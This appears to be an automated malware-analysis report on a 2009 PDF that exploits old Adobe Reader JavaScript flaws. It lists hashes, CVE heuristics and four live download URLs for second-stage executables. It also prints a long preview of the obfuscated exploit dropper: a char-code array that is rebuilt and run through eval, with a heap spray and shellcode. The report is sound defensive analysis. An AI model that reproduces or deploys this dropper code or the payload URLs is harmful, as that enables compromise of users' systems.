PDF malware analysis — malicious · 865475ab405fd8d0

MALICIOUS

PDF

75.7 KB Created: 2009-12-12 19:49:17 Authoring application: PDF Library 2.2.10 (via PDF Library 6.3.10) First seen: 2026-05-11

MD5: c0de4d063523fcc568060f5409af3488 SHA-1: fdfb227310f1a92455902af3f2d5cbecdddccd75 SHA-256: 865475ab405fd8d0e209ff1a37b2d382fda9415dc97630b9c212f397e39e7e40

592 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple Adobe Reader vulnerabilities, including CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript attempts to download and execute a second-stage payload from the URLs provided. The presence of multiple exploit CVEs and a clear download URL indicates a malicious intent to compromise the user's system.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 14

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36110
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED

The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://style-boards.com/forum/bfpu2.exe Referenced by PDF JavaScript
- http://style-boards.com/forum/click.php?r=Referenced by PDF JavaScript
- http://style-boards.com/forum/ilqt2.exeReferenced by PDF JavaScript
- http://style-boards.com/forum/ehopsw2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	38223 bytes
SHA-256: `16d8bda0d111e265d3b98ba2f4bbca926ebaab0cf777a958e177159017e5ecb1`
Detection ClamAV: No threats found Obfuscation or payload: likely 13 of 26 identifiers look randomly generated (e.g. 'fVrIoOmVCWhVaOrWC5oOdOeW') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script var ghknuw=true;eflnpx='';ahuy="";akqvx="";efklps='';bgpqty=7244;chkqwx='';jqrtvw="jqrtvw";adtuw='';var abelq='',dgrstv='',cnpxy="cnpxy",ipuw="ipuw",jklst="",dfjktx=0,ampvxz=String,cghipx=ampvxz['fVrIoOmVCWhVaOrWC5oOdOeW'.replace(/[WOI5V]/g,'')],fijz=String,einw=fijz['eOvOaflY'.replace(/[YUfqO]/g,'')],ahkop="91",adstuv="",ikqs=[70,59,66,151,174,159,156,165,162,160,167,81,159,154,177,144,162,165,97,170,154,163,172,161,101,81,165,150,167,90,180,62,67,58,66,168,161,154,165,150,89,89,178,146,171,164,169,95,165,150,167,152,173,153,89,91,89,99,89,109,89,157,158,159,98,172,70,59,66,58,66,170,154,163,172,161,89,92,118,81,178,146,171,164,169,108,70,59,66,58,182,62,67,58,66,170,154,163,172,161,89,110,89,170,154,163,172,161,103,164,174,147,172,165,171,154,167,152,97,97,101,81,165,150,167,96,107,90,116,62,67,58,66,163,158,165,174,163,167,81,178,146,171,164,169,108,70,59,66,174,70,59,70,59,66,151,174,159,156,165,162,160,167,81,174,165,162,157,152,161,171,154,167,165,159,89,98,172,70,59,66,58,175,146,171,81,169,146,178,157,168,146,157,81,118,81,174,159,158,164,156,146,169,150,97,83,94,166,126,115,126,106,94,166,105,97,105,98,94,166,110,103,105,97,94,166,122,98,111,101,94,166,105,97,108,97,94,166,105,97,105,97,94,166,109,97,113,115,94,166,113,115,105,116,94,166,106,116,112,97,94,166,113,115,122,117,94,166,105,105,109,97,94,166,124,100,110,118,94,166,113,115,110,102,94,166,113,115,126,116,94,166,105,105,109,102,94,166,108,100,110,99,94,166,124,98,125,99,94,166,105,100,124,99,94,166,106,97,108,99,94,166,113,97,109,97,94,166,105,97,108,105,94,166,127,102,112,102,94,166,124,99,113,115,94,166,110,117,110,114,94,166,105,101,124,99,94,166,110,102,105,97,94,166,126,116,113,115,94,166,110,98,110,98,94,166,110,103,110,100,94,166,111,97,110,104,94,166,110,117,113,115,94,166,108,100,105,105,94,166,113,115,124,97,94,166,105,116,112,102,94,166,127,118,113,115,94,166,112,103,105,100,94,166,113,115,108,116,94,166,112,105,109,118,94,166,124,119,105,100,94,166,110,98,113,115,94,166,110,99,106,116,94,166,110,98,113,115,94,166,110,99,107,101,94,166,112,98,113,115,94,166,109,118,106,101,94,166,112,102,113,106,94,166,113,115,127,116,94,166,107,97,112,98,94,166,127,104,105,100,94,166,109,114,114,106,94,166,109,99,122,117,94,166,108,115,111,97,94,166,127,116,110,102,94,166,105,101,112,102,94,166,124,97,108,100,94,166,108,104,126,115,94,166,127,119,108,100,94,166,109,102,105,100,94,166,114,104,105,116,94,166,124,119,113,115,94,166,112,102,122,118,94,166,107,115,127,117,94,166,109,119,127,106,94,166,126,105,110,98,94,166,127,119,114,101,94,166,127,119,127,119,94,166,124,100,108,115,94,166,112,101,111,98,94,166,126,115,105,99,94,166,113,115,125,106,94,166,105,116,109,102,94,166,110,118,114,99,94,166,127,99,105,100,94,166,126,97,125,98,94,166,124,103,105,100,94,166,124,106,108,100,94,166,123,104,105,119,94,166,110,119,105,105,94,166,126,98,124,98,94,166,105,100,105,99,94,166,105,100,124,114,94,166,113,115,124,119,94,166,105,100,105,98,94,166,113,106,124,99,94,166,127,105,109,102,94,166,113,115,111,98,94,166,127,105,109,102,94,166,110,118,110,119,94,166,124,106,110,115,94,166,110,102,124,100,94,166,126,116,113,115,94,166,126,105,110,98,94,166,127,119,109,106,94,166,127,119,127,119,94,166,111,105,110,97,94,166,111,97,126,105,94,166,105,101,123,119,94,166,111,116,126,105,94,166,127,119,127,119,94,166,108,100,127,119,94,166,110,99,125,99,94,166,127,119,110,99,94,166,105,105,112,102,94,166,125,97,127,119,94,166,109,102,113,106,94,166,113,115,127,116,94,166,127,116,109,102,94,166,124,100,124,106,94,166,113,115,110,102,94,166,113,100,126,116,94,166,105,116,126,116,94,166,109,102,113,117,94,166,110,97,127,101,94,166,109,102,124,103,94,166,112,102,127,101,94,166,109,102,124,103,94,166,112,99,127,102,94,166,109,102,124,103,94,166,111,116,127,103,94,166,109,102,124,103,94,166,111,117,127,104,94,166,109,102,124,103,94,166,111,119,127,105,94,166,109,102,124,103,94,166,111,118,127,106,94,166,109,102,124,103,94,166,107,118,127,114,94,166,109,102,124,103,94,166,111,101,127,115,94,166,109,102,124,103,94,166,111,116,127,116,94,166,109,102,124,103,94,166,111,116,127,117,94,166,109,102,124,103,94,166,105,97,127,118,94,166,122,97,126,105,94,166,127,119,127,119,94,166,110,97,127,119,94,166,110,117,111,105,94,166,106,98,113,114,94,166,126,105,106,103,94,166,127,119,106,102,94,166,127,119,127,119,94,166,124,101,113,100,94,166,113,102,105,116,94,166,112,101,124,97,94,166,111,114,106,102,94,166,111,114,105,97,94,166,127,119,105,97,94,166,105,116,112,102,94,166,112,102,127,119,94,166,111,114,105,105,94,166,127,119,105,97,94,166,113,102,125,97,94,166,112,102,124,97,94,166,109,97,105,100,94,166,124,100,124,106,94,166,124,97,108,100,94,166,124,100,124,106,94,166,108,100,110,104,94,166,113,115,124,97,94,166,107,101,109,116,94,166,113,115,105,116,94,166,107,101,112,116,94,166,127,116,105,105,94,166,122,114,127,100,94,166,124,100,110,119,94,166,109,116,113,115,94,166,105,101,107,101,94,166,108,106,113,97,94,166,113,115,105,97,94,166,112,101,124,98,94,166,109,97,105,103,94,166,108,105,113,97,94,166,112,102,105,97,94,166,107,115,127,114,94,166,124,100,124,98,94,166,113,115,110,102,94,166,113,100,126,116,94,166,111,101,126,116,94,166,113,117,110,100,94,166,127,97,109,102,94,166,108,100,110,104,94,166,110,97,125,115,94,166,109,102,124,103,94,166,111,115,127,97,94,166,109,102,124,103,94,166,111,102,127,98,94,166,109,102,124,103,94,166,112,99,127,99,94,166,109,102,124,103,94,166,111,118,127,100,94,166,109,102,124,103,94,166,111,102,127,101,94,166,109,102,124,103,94,166,111,116,127,102,94,166,109,102,124,103,94,166,108,100,127,103,94,166,109,102,124,103,94,166,108,99,127,104,94,166,109,102,124,103,94,166,107,118,127,105,94,166,109,102,124,103,94,166,111,101,127,106,94,166,109,102,124,103,94,166,111,116,127,114,94,166,109,102,124,103,94,166,111,116,127,115,94,166,110,117,113,105,94,166,126,105,127,116,94,166,127,119,105,115,94,166,127,119,127,119,94,166,111,105,110,97,94,166,109,100,111,105,94,166,113,118,127,106,94,166,113,97,126,105,94,166,127,119,127,118,94,166,113,115,127,119,94,166,113,117,127,105,94,166,114,116,109,102,94,166,109,101,111,114,94,166,126,105,110,97,94,166,127,119,112,118,94,166,127,119,127,119,94,166,109,102,113,117,94,166,111,114,126,97,94,166,110,97,106,97,94,166,112,100,126,105,94,166,127,119,127,119,94,166,113,100,127,119,94,166,106,116,124,101,94,166,109,102,113,117,94,166,110,97,126,97,94,166,109,102,113,117,94,166,110,97,114,116,94,166,110,100,110,100,94,166,110,100,110,100,94,166,110,100,110,100,94,166,112,102,127,119,94,166,124,104,105,105,94,166,114,116,109,102,94,166,105,97,109,101,94,166,105,97,105,97,94,166,127,119,110,100,94,166,110,119,125,104,94,166,123,103,105,119,94,166,110,115,124,97,94,166,124,100,124,106,94,166,113,115,110,102,94,166,110,98,126,116,94,166,110,100,110,98,94,166,110,104,110,103,94,166,109,99,111,114,94,166,112,99,126,105,94,166,105,97,105,97,94,166,113,115,105,97,94,166,108,100,125,105,94,166,113,102,127,103,94,166,110,106,125,115,94,166,109,102,124,104,94,166,111,98,127,105,94,166,111,102,107,118,94,166,124,104,112,105,94,166,127,116,109,102,94,166,105,97,111,102,94,166,105,97,105,97,94,166,110,103,112,118,94,166,109,102,113,117,94,166,110,97,127,105,94,166,126,105,110,103,94,166,105,97,110,98,94,166,105,97,105,97,94,166,110,97,110,106,94,166,123,98,126,105,94,166,127,119,127,118,94,166,113,102,127,119,94,166,110,106,124,97,94,166,112,101,110,106,94,166,113,117,108,106,94,166,105,98,109,103,94,166,126,105,110,97,94,166,105,97,108,115,94,166,105,97,105,97,94,166,127,105,113,115,94,166,109,102,113,117,94,166,110,97,127,105,94,166,107,98,126,105,94,166,127,119,127,119,94,166,113,102,127,119,94,166,110,106,124,97,94,166,112,101,110,106,94,166,110,104,105,116,94,166,105,98,126,105,94,166,127,119,127,119,94,166,110,106,127,119,94,166,109,101,124,103,94,166,127,119,108,105,94,166,110,97,112,100,94,166,109,102,113,117,94,166,127,118,127,105,94,166,110,105,105,97,94,166,109,102,113,117,94,166,110,97,127,105,94,166,126,105,110,104,94,166,127,118,112,101,94,166,127,119,127,119,94,166,110,106,110,106,94,166,109,103,109,103,94,166,127,100,108,115,94,166,122,114,112,116,94,166,110,118,110,119,94,166,124,106,110,115,94,166,110,102,124,100,94,166,126,116,113,115,94,166,110,100,110,98,94,166,111,97,111,103,94,166,108,99,123,98,94,166,105,97,126,105,94,166,105,97,105,97,94,166,110,105,105,97,94,166,105,105,108,105,94,166,105,100,112,101,94,166,126,115,109,97,94,166,109,97,127,106,94,166,110,117,113,115,94,166,113,97,105,105,94,166,109,99,127,115,94,166,105,105,112,102,94,166,125,115,108,100,94,166,106,105,113,114,94,166,124,100,113,115,94,166,106,104,126,115,94,166,106,105,108,105,94,166,106,98,112,103,94,166,108,100,109,97,94,166,113,101,124,106,94,166,112,101,125,115,94,166,109,97,105,116,94,166,105,105,108,105,94,166,127,115,112,102,94,166,127,118,109,97,94,166,126,115,124,115,94,166,108,100,127,99,94,166,113,106,124,97,94,166,127,116,109,102,94,166,109,102,113,115,94,166,110,115,127,116,94,166,124,100,124,106,94,166,105,99,108,99,94,166,112,101,111,105,94,166,112,97,112,101,94,166,107,119,108,114,94,166,112,100,107,119,94,166,112,106,112,101,94,166,111,102,111,116,94,166,111,99,107,117,94,166,111,98,111,119,94,166,111,101,112,99,94,166,107,118,112,100,94,166,111,119,111,100,94,166,107,119,111,117,94,166,111,119,111,103,94,166,112,102,112,99,94,166,107,119,111,117,94,166,111,103,111,99,94,166,112,102,112,97,94,166,107,118,108,99,94,166,112,105,111,102,94,166,105,97,111,102,94,166,112,101,111,105,94,166,112,97,112,101,94,166,107,119,108,114,94,166,112,100,107,119,94,166,112,106,112,101,94,166,111,102,111,116,94,166,111,99,107,117,94,166,111,98,111,119,94,166,111,101,112,99,94,166,107,118,112,100,94,166,111,119,111,100,94,166,107,119,111,117,94,166,111,119,111,103,94,166,112,102,112,99,94,166,107,119,111,117,94,166,111,116,111,100,94,166,111,100,111,106,94,166,107,118,111,115,94,166,111,105,112,97,94,166,108,119,112,97,94,166,108,117,112,99,94,166,105,97,105,97,91,90,116,62,67,58,66,167,154,163,89,159,168,161,89,110,89,166,167,150,172,148,154,161,158,89,91,86,174,97,122,97,122,86,174,97,122,97,122,86,174,97,122,97,122,86,174,97,122,97,122,83,98,62,67,58,66,167,154,163,89,153,158,146,169,147,165,160,156,156,89,110,89,159,168,161,89,92,89,161,154,170,165,160,154,149,116,62,67,58,66,167,154,163,89,147,162,152,155,157,168,148,164,81,118,81,174,159,158,164,156,146,169,150,97,83,94,166,105,114,105,114,94,166,105,114,105,114,91,90,116,62,67,58,66,167,154,163,89,153,158,146,157,150,171,164,162,171,158,81,118,81,107,97,116,62,67,58,66,167,154,163,89,164,169,163,154,170,89,110,89,153,158,146,157,150,171,164,162,171,158,81,100,81,161,150,154,161,155,157,168,148,164,95,165,150,167,152,173,153,116,62,67,58,66,168,161,154,165,150,89,89,155,154,160,147,165,160,156,156,103,157,158,159,160,165,161,81,117,81,172,161,171,146,178,90,180,62,67,58,66,58,155,154,160,147,165,160,156,156,89,92,118,81,155,154,160,147,165,160,156,156,116,62,67,58,66,174,70,59,66,58,175,146,171,81,159,154,165,157,155,157,168,148,164,81,118,81,155,154,160,147,165,160,156,156,103,164,174,147,172,165,171,154,167,152,97,97,101,81,172,161,171,146,178,90,116,62,67,58,66,167,154,163,89,147,165,160,156,156,89,110,89,147,162,152,155,157,168,148,164,95,172,166,155,164,173,163,162,159,160,89,105,93,89,147,162,152,155,157,168,148,164,95,165,150,167,152,173,153,102,164,169,163,154,170,98,108,70,59,66,58,176,153,162,157,158,81,97,147,165,160,156,156,103,157,158,159,160,165,161,92,172,161,171,146,178,81,117,81,105,169,109,97,105,97,105,90,180,62,67,58,66,58,155,157,168,148,164,81,118,81,155,157,168,148,164,81,100,81,155,157,168,148,164,81,100,81,159,154,165,157,155,157,168,148,164,108,70,59,66,58,182,62,67,58,66,167,154,163,89,158,158,158,152,146,171,163,154,170,89,110,89,159,158,168,89,114,171,163,154,170,97,90,116,62,67,58,66,151,168,163,89,89,175,146,171,81,162,81,118,81,105,108,89,154,89,109,89,98,109,97,105,108,89,154,100,92,98,172,70,59,66,58,66,158,158,158,152,146,171,163,154,170,148,154,150,81,118,81,155,157,168,148,164,81,100,81,161,150,154,161,155,157,168,148,164,108,70,59,66,58,182,62,67,58,66,167,154,163,89,159,174,158,89,110,89,98,107,106,114,106,114,106,114,106,114,106,114,106,114,106,114,106,114,106,114,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,105,113,108,70,59,66,58,174,165,162,157,103,161,171,154,167,165,159,89,91,86,109,102,105,97,105,151,91,93,89,159,174,158,98,108,70,59,66,174,70,59,70,59,66,151,174,159,156,165,162,160,167,81,156,160,165,157,154,147,152,150,166,146,162,157,97,90,180,62,67,58,66,167,154,163,89,164,161,150,165,157,156,160,157,150,89,110,89,166,167,150,172,148,154,161,158,89,91,86,174,118,123,118,114,86,174,97,105,97,106,86,174,102,111,97,105,86,174,114,106,103,109,86,174,97,105,100,105,86,174,97,105,97,105,86,174,101,105,105,123,86,174,105,123,97,124,86,174,98,124,104,105,86,174,105,123,114,125,86,174,97,113,101,105,86,174,116,108,102,126,86,174,105,123,102,110,86,174,105,123,118,124,86,174,97,113,101,110,86,174,100,108,102,107,86,174,116,106,117,107,86,174,97,108,116,107,86,174,98,105,100,107,86,174,105,105,101,105,86,174,97,105,100,113,86,174,119,110,104,110,86,174,116,107,105,123,86,174,102,125,102,122,86,174,97,109,116,107,86,174,102,110,97,105,86,174,118,124,105,123,86,174,102,106,102,106,86,174,102,111,102,108,86,174,103,105,102,112,86,174,102,125,105,123,86,174,100,108,97,113,86,174,105,123,116,105,86,174,97,124,104,110,86,174,119,126,105,123,86,174,104,111,97,108,86,174,105,123,100,124,86,174,104,113,101,126,86,174,116,127,97,108,86,174,102,106,105,123,86,174,102,107,98,124,86,174,102,106,105,123,86,174,102,107,99,109,86,174,104,106,105,123,86,174,101,126,98,109,86,174,104,110,105,114,86,174,105,123,119,124,86,174,99,105,104,106,86,174,119,112,97,108,86,174,101,122,106,114,86,174,101,107,114,125,86,174,100,123,103,105,86,174,119,124,102,110,86,174,97,109,104,110,86,174,116,105,100,108,86,174,100,112,118,123,86,174,119,127,100,108,86,174,101,110,97,108,86,174,106,112,97,124,86,174,116,127,105,123,86,174,104,110,114,126,86,174,99,123,119,125,86,174,101,127,119,114,86,174,118,113,102,106,86,174,119,127,106,109,86,174,119,127,119,127,86,174,116,108,100,123,86,174,104,109,103,106,86,174,118,123,97,107,86,174,105,123,117,114,86,174,97,124,101,110,86,174,102,126,106,107,86,174,119,107,97,108,86,174,118,105,117,106,86,174,116,111,97,108,86,174,116,114,100,108,86,174,115,112,97,127,86,174,102,127,97,113,86,174,118,106,116,106,86,174,97,108,97,107,86,174,97,108,116,122,86,174,105,123,116,127,86,174,97,108,97,106,86,174,105,114,116,107,86,174,119,113,101,110,86,174,105,123,103,106,86,174,119,113,101,110,86,174,102,126,102,127,86,174,116,114,102,123,86,174,102,110,116,108,86,174,118,124,105,123,86,174,118,113,102,106,86,174,119,127,101,114,86,174,119,127,119,127,86,174,103,113,102,105,86,174,103,105,118,113,86,174,97,109,115,127,86,174,103,124,118,113,86,174,119,127,119,127,86,174,100,108,119,127,86,174,102,107,117,107,86,174,119,127,102,107,86,174,97,113,104,110,86,174,117,105,119,127,86,174,101,110,105,114,86,174,105,123,119,124,86,174,119,124,101,110,86,174,116,108,116,114,86,174,105,123,102,110,86,174,105,108,118,124,86,174,97,124,118,124,86,174,101,110,105,125,86,174,102,105,119,109,86,174,101,110,116,111,86,174,104,110,119,109,86,174,101,110,116,111,86,174,104,107,119,110,86,174,101,110,116,111,86,174,103,124,119,111,86,174,101,110,116,111,86,174,103,125,119,112,86,174,101,110,116,111,86,174,103,127,119,113,86,174,101,110,116,111,86,174,103,126,119,114,86,174,101,110,116,111,86,174,99,126,119,122,86,174,101,110,116,111,86,174,103,109,119,123,86,174,101,110,116,111,86,174,103,124,119,124,86,174,101,110,116,111,86,174,103,124,119,125,86,174,101,110,116,111,86,174,97,105,119,126,86,174,114,105,118,113,86,174,119,127,119,127,86,174,102,105,119,127,86,174,102,125,103,113,86,174,98,106,105,122,86,174,118,113,98,111,86,174,119,127,98,110,86,174,119,127,119,127,86,174,116,109,105,108,86,174,105,110,97,124,86,174,104,109,116,105,86,174,103,122,98,110,86,174,103,122,97,105,86,174,119,127,97,105,86,174,97,124,104,110,86,174,104,110,119,127,86,174,103,122,97,113,86,174,119,127,97,105,86,174,105,110,117,105,86,174,104,110,116,105,86,174,101,105,97,108,86,174,116,108,116,114,86,174,116,105,100,108,86,174,116,108,116,114,86,174,100,108,102,112,86,174,105,123,116,105,86,174,99,109,101,124,86,174,105,123,97,124,86,174,99,109,104,124,86,174,119,124,97,113,86,174,114,122,119,108,86,174,116,108,102,127,86,174,101,124,105,123,86,174,97,109,99,109,86,174,100,114,105,105,86,174,105,123,97,105,86,174,104,109,116,106,86,174,101,105,97,111,86,174,100,113,105,105,86,174,104,110,97,105,86,174,99,123,119,122,86,174,116,108,116,106,86,174,105,123,102,110,86,174,105,108,118,124,86,174,103,109,118,124,86,174,105,125,102,108,86,174,119,105,101,110,86,174,100,108,102,112,86,174,102,105,117,123,86,174,101,110,116,111,86,174,103,123,119,105,86,174,101,110,116,111,86,174,103,110,119,106,86,174,101,110,116,111,86,174,104,107,119,107,86,174,101,110,116,111,86,174,103,126,119,108,86,174,101,110,116,111,86,174,103,110,119,109,86,174,101,110,116,111,86,174,103,124,119,110,86,174,101,110,116,111,86,174,100,108,119,111,86,174,101,110,116,111,86,174,100,107,119,112,86,174,101,110,116,111,86,174,99,126,119,113,86,174,101,110,116,111,86,174,103,109,119,114,86,174,101,110,116,111,86,174,103,124,119,122,86,174,101,110,116,111,86,174,103,124,119,123,86,174,102,125,105,113,86,174,118,113,119,124,86,174,119,127,97,123,86,174,119,127,119,127,86,174,103,113,102,105,86,174,101,108,103,113,86,174,105,126,119,114,86,174,105,105,118,113,86,174,119,127,119,126,86,174,105,123,119,127,86,174,105,125,119,113,86,174,106,124,101,110,86,174,101,109,103,122,86,174,118,113,102,105,86,174,119,127,104,126,86,174,119,127,119,127,86,174,101,110,105,125,86,174,103,122,118,105,86,174,102,105,98,105,86,174,104,108,118,113,86,174,119,127,119,127,86,174,105,108,119,127,86,174,98,124,116,109,86,174,101,110,105,125,86,174,102,105,118,105,86,174,101,110,105,125,86,174,102,105,106,124,86,174,102,108,102,108,86,174,102,108,102,108,86,174,102,108,102,108,86,174,104,110,119,127,86,174,116,112,97,113,86,174,106,124,101,110,86,174,97,105,101,109,86,174,97,105,97,105,86,174,119,127,102,108,86,174,102,127,117,112,86,174,115,111,97,127,86,174,102,123,116,105,86,174,116,108,116,114,86,174,105,123,102,110,86,174,102,106,118,124,86,174,102,108,102,106,86,174,102,112,102,111,86,174,101,107,103,122,86,174,104,107,118,113,86,174,97,105,97,105,86,174,105,123,97,105,86,174,100,108,117,113,86,174,105,110,119,111,86,174,102,114,117,123,86,174,101,110,116,112,86,174,103,106,119,113,86,174,103,110,99,126,86,174,116,112,104,113,86,174,119,124,101,110,86,174,97,105,103,110,86,174,97,105,97,105,86,174,102,111,104,126,86,174,101,110,105,125,86,174,102,105,119,113,86,174,118,113,102,111,86,174,97,105,102,106,86,174,97,105,97,105,86,174,102,105,102,114,86,174,115,106,118,113,86,174,119,127,119,126,86,174,105,110,119,127,86,174,102,114,116,105,86,174,104,109,102,114,86,174,105,125,100,114,86,174,97,106,101,111,86,174,118,113,102,105,86,174,97,105,100,123,86,174,97,105,97,105,86,174,119,113,105,123,86,174,101,110,105,125,86,174,102,105,119,113,86,174,99,106,118,113,86,174,119,127,119,127,86,174,105,110,119,127,86,174,102,114,116,105,86,174,104,109,102,114,86,174,102,112,97,124,86,174,97,106,118,113,86,174,119,127,119,127,86,174,102,114,119,127,86,174,101,109,116,111,86,174,119,127,100,113,86,174,102,105,104,108,86,174,101,110,105,125,86,174,119,126,119,113,86,174,102,113,97,105,86,174,101,110,105,125,86,174,102,105,119,113,86,174,118,113,102,112,86,174,119,126,104,109,86,174,119,127,119,127,86,174,102,114,102,114,86,174,101,111,101,111,86,174,119,108,100,123,86,174,114,122,104,124,86,174,102,126,102,127,86,174,116,114,102,123,86,174,102,110,116,108,86,174,118,124,105,123,86,174,102,108,102,106,86,174,103,105,103,111,86,174,100,107,115,106,86,174,97,105,118,113,86,174,97,105,97,105,86,174,102,113,97,105,86,174,97,113,100,113,86,174,97,108,104,109,86,174,118,123,101,105,86,174,101,105,119,114,86,174,102,125,105,123,86,174,105,105,97,113,86,174,101,107,119,123,86,174,97,113,104,110,86,174,117,123,100,108,86,174,98,113,105,122,86,174,116,108,105,123,86,174,98,112,118,123,86,174,98,113,100,113,86,174,98,106,104,111,86,174,100,108,101,105,86,174,105,109,116,114,86,174,104,109,117,123,86,174,101,105,97,124,86,174,97,113,100,113,86,174,119,123,104,110,86,174,119,126,101,105,86,174,118,123,116,123,86,174,100,108,119,107,86,174,105,114,116,105,86,174,119,124,101,110,86,174,101,110,105,123,86,174,102,123,119,124,86,174,116,108,116,114,86,174,97,107,100,107,86,174,104,109,103,113,86,174,104,105,104,109,86,174,99,127,100,122,86,174,104,108,99,127,86,174,104,114,104,109,86,174,103,110,103,124,86,174,103,107,99,125,86,174,103,106,103,127,86,174,103,109,104,107,86,174,99,126,104,108,86,174,103,127,103,108,86,174,99,127,103,125,86,174,103,127,103,111,86,174,104,110,104,107,86,174,99,127,103,125,86,174,103,124,103,114,86,174,104,109,104,106,86,174,99,126,100,107,86,174,104,113,103,110,86,174,97,105,103,110,86,174,104,109,103,113,86,174,104,105,104,109,86,174,99,127,100,122,86,174,104,108,99,127,86,174,104,114,104,109,86,174,103,110,103,124,86,174,103,107,99,125,86,174,103,106,103,127,86,174,103,109,104,107,86,174,99,126,104,108,86,174,103,127,103,108,86,174,99,127,103,125,86,174,103,127,103,111,86,174,104,110,104,107,86,174,99,127,103,125,86,174,103,124,103,108,86,174,103,108,103,114,86,174,99,126,103,123,86,174,103,113,104,105,86,174,100,127,104,105,86,174,100,125,104,107,86,174,97,105,97,105,83,98,108,70,59,66,58,175,146,171,81,166,150,166,144,154,163,171,146,178,81,118,81,167,150,176,81,122,163,171,146,178,89,98,108,70,59,66,58,175,146,171,81,156,148,89,110,89,97,177,97,156,97,156,97,156,97,156,108,70,59,66,58,175,146,171,81,154,149,157,163,89,110,89,97,177,101,105,97,105,97,105,108,70,59,66,58,175,146,171,81,172,148,152,157,158,159,89,110,89,164,161,150,165,157,156,160,157,150,103,157,158,159,160,165,161,81,99,81,107,108,70,59,66,58,175,146,171,81,165,150,167,81,118,81,154,149,157,163,89,94,89,89,172,148,152,157,158,159,100,97,177,100,113,90,116,62,67,58,66,167,154,163,89,170,154,163,172,161,89,110,89,166,167,150,172,148,154,161,158,89,91,86,174,106,105,106,105,86,174,106,105,106,105,83,98,108,70,59,66,58,178